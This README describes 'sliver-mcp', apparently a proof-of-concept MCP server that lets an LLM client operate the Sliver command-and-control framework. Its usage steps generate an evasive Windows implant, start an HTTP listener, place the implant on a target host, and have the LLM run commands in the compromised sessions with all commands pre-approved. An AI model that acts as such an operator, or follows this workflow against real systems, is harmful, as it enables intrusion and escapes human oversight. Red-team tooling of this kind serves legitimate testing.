# sliver-mcp
Sliver-MCP is an MCP server for Sliver Server, which implements a multiplayer client, adjusted to use with MCP-Go. Functionality was tested with `v1.5.43`.
## Compiling from source
```
go build -v .
```
## Usage
1. Enable multiplayer option in Sliver: `sliver > multiplayer`
2. Generate config for MCP server: `sliver > new-operator --name mcp --save /path/to/config/mcp-sliver.cfg --lhost 192.168.3.4`
3. Connect to running remote MCP server via HTTP in LM Studio/Claude desktop/any other LLM client which supports MCP servers. Enable it after connecting and allow execution of all commands. Example JSON config:
```
"sliver_mcp": {
"command": "/path/to/compiled/binary",
"args": [
"-operator-config",
"/path/to/sliver/multiplayer.cfg",
"-lhost",
"0.0.0.0",
"-lport",
"11337"
]
}
```
4. Generate payload and start listener.
```
sliver > generate --http 192.168.1.2:34443 --evasion --os windows --format exe
sliver > http --lhost 192.168.3.4 --lport 34443
```
5. Transfer implant to the target host and execute it.
6. Ask LLM to do (almost) anything, like, `show sessions, pick the first one, cd to root, run ls and then change name of the current session to pwnz_by_ai`.

## TODO:
- stdio transport
- authn/authz for HTTP transport
- sending/retrieving tasks for beacons in async fashion
## skipped features:
- Armory, crackstations, cursed, shell, websites, windows-specific features (execute assembly/shellcode/sideload), and some other features (fs: upload/download/cat, loot, screenshot, generating payloads). Either I was too lazy to tinker with these, or they are just not well suited for interaction via LLM.
- Most beacon async commands and features, related to beacons. At the current stage, this PoC focuses on interactions with interactive sessions only.
- Portfwd, reverse portfwd, socks. I hadn't much luck with them, looks like per v1.5.43, these don't always behave as expected.
